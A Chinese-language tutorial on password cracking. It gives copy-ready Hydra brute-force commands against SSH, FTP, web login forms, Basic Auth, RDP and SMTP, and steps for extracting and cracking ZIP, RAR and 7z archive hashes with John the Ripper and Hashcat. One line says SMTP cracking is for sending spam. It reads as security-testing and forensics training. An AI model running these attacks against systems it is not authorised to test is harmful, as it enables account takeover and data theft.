口令破解

hydra是一种自动化的支持众多协议的爆破工具,暴力破解密码。

参数:
-s <port> 指定非默认端口,如 SSH 默认 22,可自定义 -s 2222
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码。

SSH口令爆破

场景:测试目标 SSH 服务(默认端口 22)的密码强度。
语法hydra -l <用户> -P <密码字典> -t <线程> -vV -o ssh_result.txt <目标IP> ssh

示例:使用用户 root、密码字典 rockyou.txt 破解 192.168.1.100 的 SSH:

hydra -l root -P /usr/share/wordlists/rockyou.txt -t 20 -vV -o ssh_success.txt 192.168.1.100 ssh

FTP 协议破解

场景:测试 FTP 服务(默认端口 21)的登录凭证。
语法hydra -L <用户字典> -P <密码字典> -t <线程> -vV <目标IP> ftp

示例:使用用户字典 users.txt 和密码字典 rockyou.txt 破解 FTP:

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 15 -vV 192.168.1.101 ftp

HTTP 表单破解(POST 方法)

场景:破解基于 POST 请求的 Web 登录表单(如网站后台登录)。
关键步骤:需先通过 Burp Suite 或 Chrome 开发者工具 获取表单提交的 POST 数据 和 成功/失败标识

步骤 1:分析登录请求

假设目标登录页面为 http://192.168.1.102/login.php,通过 Chrome 开发者工具(F12)捕获登录请求:

  • 请求方法:POST
  • 提交数据username=test&password=123&submit=Login(需将用户名/密码替换为占位符 ^USER^ 和 ^PASS^
  • 成功标识:登录成功后跳转至 /dashboard.php(或响应中包含 “Welcome”)
  • 失败标识:登录失败时显示 “Invalid username or password”

步骤 2:构造 Hydra 命令

语法
hydra -l <用户> -P <密码字典> -t <线程> -vV -o http_result.txt <目标IP> http-post-form "<登录路径>:<POST数据>:<失败标识>"

示例:破解上述登录表单:

hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 10 -vV -o http_success.txt 192.168.1.102 http-post-form "/login.php:username=^USER^&password=^PASS^&submit=Login:Invalid username or password"

参数说明

  • /login.php:登录表单路径
  • username=^USER^&password=^PASS^&submit=Login:POST 数据(^USER^ 和 ^PASS^ 为 Hydra 占位符)
  • Invalid username or password:失败标识(Hydra 会判断响应中是否包含该字符串,若不包含则认为登录成功)

HTTP 基础认证(Basic Auth)破解

场景:破解采用 HTTP Basic Auth 的服务(如路由器管理界面、简单 Web 服务)。
语法hydra -l <用户> -P <密码字典> -t <线程> -vV <目标IP> http-get /

示例:破解目标 192.168.1.1 的 Basic Auth:

hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 5 -vV 192.168.1.1 http-get /

RDP 协议破解

场景:测试 Windows 远程桌面服务(RDP,默认端口 3389)。
注意:RDP 协议对并发连接敏感,建议降低线程数(5-10)以避免被目标防火墙拦截。

语法hydra -L <用户字典> -P <密码字典> -t <线程> -vV -o rdp_result.txt <目标IP> rdp -s 3389

示例

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 5 -vV -o rdp_success.txt 192.168.1.103 rdp -s 3389

SMTP 协议破解

场景:测试邮件服务器(SMTP,默认端口 25)的登录凭证(用于发送垃圾邮件或枚举用户)。
语法hydra -l <用户> -P <密码字典> -t <线程> -vV <目标IP> smtp

示例

hydra -l user@example.com -P /usr/share/wordlists/rockyou.txt -t 10 -vV 192.168.1.104 smtp

压缩包爆破

john 解析压缩包进行破解

无论是面对 ZIP、RAR 还是 7Z 格式的加密压缩包,现代密码学破解的通用核心理念都是“先提取,后碰撞”。传统的在线或直接挂载爆破(如使用 fcrackzip)往往受限于 I/O 速度和单线程性能;因此,实战中更推荐将加密验证信息(Hash)提取至本地硬盘,随后利用 John the Ripper (john) 的 CPU 并发优势,或引入 Hashcat 的 GPU 强大算力进行离线高速爆破。

破解原理通常分为两步:

  1. 提取 Hash:使用 *2john 系列工具将压缩包内的加密校验数据提取出来,并转换为破解工具可识别的标准化 Hash 格式,保存到文本文档中。

  2. 离线爆破

    • John:配置简单,环境依赖少,对各类协议兼容性极佳,适合轻量级任务或仅有 CPU 算力的环境。
    • Hashcat:基于显卡(GPU/OpenCL/CUDA)进行并行运算。在应对 RAR5、7Z 等采用高强度密钥派生函数(KDF,如进行了数十万次迭代的算法)的压缩包时,速度具有压倒性优势。

ZIP 格式压缩包

场景: 破解使用密码加密的 .zip 文件(内部可能使用传统的 PKZIP 加密,或安全性更高的 WinZip AES 加密)。

步骤一:提取哈希值

使用 zip2john 工具提取 Hash 并重定向输出至文本文档。

zip2john target.zip > zip_hash.txt

💡 实战避坑指南:zip2john 的输出格式通常包含文件名(如 target.zip:$zip2$*...)。如果后续打算使用 Hashcat 破解,为避免工具解析报错,建议使用文本编辑器或 sed 命令将冒号前的文件名部分删掉,仅保留以 $zip2$$pkzip2$ 开头的纯 Hash 字符串

步骤二:使用字典进行爆破(根据硬件条件任选其一)

[方式 A] 使用 John 进行 CPU 爆破:

john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt

查看 John 的破解结果:

john --show zip_hash.txt

[方式 B] 使用 Hashcat 进行 GPU 高速爆破:

Hashcat 必须通过 -m 参数精确指定 Hash 算法的模块 ID。ZIP 常见的模块 ID 包括:

  • 13600 (WinZip)

  • 17200 / 17220 / 17225 (PKZIP)

这里以最常见的 13600 模块和纯字典攻击模式(-a 0)为例:

Bash

hashcat -a 0 -m 13600 zip_hash.txt /usr/share/wordlists/rockyou.txt -w 3

查看 Hashcat 的破解结果:

hashcat -m 13600 --show zip_hash.txt


RAR 格式压缩包

场景: 破解 .rar 文件。RAR 的加密算法极其消耗算力(尤其是最新版的 RAR5 使用了 PBKDF2-HMAC-SHA256 算法),极度推荐使用 Hashcat 配合 GPU 进行破解,否则单靠 CPU 速度会非常缓慢。

步骤一:提取哈希值

Bash

rar2john target.rar > rar_hash.txt

💡 同理,转交 Hashcat 前请清理文本,仅保留 $RAR3$*$rar5$* 开头的纯哈希部分。

步骤二:使用字典进行爆破

[方式 A] 使用 John 进行 CPU 爆破:

john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txt

查看 John 的破解结果:

john --show rar_hash.txt

[方式 B] 使用 Hashcat 进行 GPU 高速爆破:

RAR 的 Hashcat 模块 ID 严格区分版本:

  • 13000 (RAR3-hp,针对 RAR 4.x 及更早版本的加密)
  • 12500 (RAR5,针对目前主流的最新 RAR 加密格式)
# 以 RAR5 (模块 12500) 为例进行字典爆破
hashcat -a 0 -m 12500 rar_hash.txt /usr/share/wordlists/rockyou.txt -w 3

7z 格式压缩包

场景: 破解 .7z 文件。7-Zip 的默认加密极其强悍(AES-256 叠加 524288 次 SHA-256 迭代)。这意味着即使是顶级显卡,每秒能验证的密码数量也极少。字典的精准度、规则(Rules)的运用以及硬件算力是此类任务成败的唯一决定因素。

步骤一:提取哈希值

注:在某些高版本的安全系统环境中,如果直接输入 7z2john 提示找不到命令,需要直接调用其底层的 perl 脚本,路径通常在 /usr/share/john/7z2john.pl

7z2john target.7z > 7z_hash.txt

步骤二:使用字典进行爆破

[方式 A] 使用 John 进行 CPU 爆破:

john --wordlist=/usr/share/wordlists/rockyou.txt 7z_hash.txt

查看 John 的破解结果:

john --show 7z_hash.txt

[方式 B] 使用 Hashcat 进行 GPU 高速爆破:

7-Zip 对应的 Hashcat 模块 ID 统一为 11600

# 执行 7z 爆破 (建议将其置于后台运行,并做好长时间挂机的准备)
hashcat -a 0 -m 11600 7z_hash.txt /usr/share/wordlists/rockyou.txt -O

💡 性能压榨提示:末尾追加的 -O 参数代表开启优化内核(Optimized Kernels)。当明确目标密码长度不会超过 31 个字符时,开启此参数可以大幅降低显存总线开销,进一步压榨 GPU 性能以提升爆破速度。

软件爆破

部分破解压缩包软件已经有非常全面的攻击方法的,只需要按照默认条件进行攻击,一般破解概率都会很大

ARCHPR (Advanced Archive Password Recovery)

老牌的压缩包破解神器,专门针对 ZIP 和 RAR 格式。

核心杀手锏:明文攻击 (Known Plaintext Attack) 这是针对 ZIP 文件最致命的攻击方式。如果你手里有加密压缩包里的任意一个未加密的原文件(哪怕只是一个随附的 readme.txt),利用此文件作为“明文”提供给 ARCHPR,软件可以在几分钟内推算出加密密钥,从而直接解开整个压缩包。

此方法直接绕过密码本身,无视密码的长度和复杂度!

适用场景:针对已知文件结构的压缩包,或需要快速进行简单掩码/字典测试的场景。

Passware Kit (Forensic 取证版)

电子取证领域的行业标准级综合解密软件。 特点: 功能极其强大,不仅支持各类压缩包,还支持 Office 文档、BitLocker 全盘加密、TrueCrypt、PDF 等 300 多种文件类型的密码破解。

优势:极强的 GPU 硬件加速能力(支持多显卡并行以及分布式计算),具备内存镜像分析(提取密钥)功能。

缺点:** 商业授权昂贵,软件体积庞大,对电脑硬件配置要求极高。

Accent RAR / ZIP Password Recovery

特点: 以对 AMD 和 NVIDIA 显卡底层的极致优化而闻名。 优势: 在单纯需要拼算力的暴力破解或掩码破解场景下,其 GPU 调度效率极高。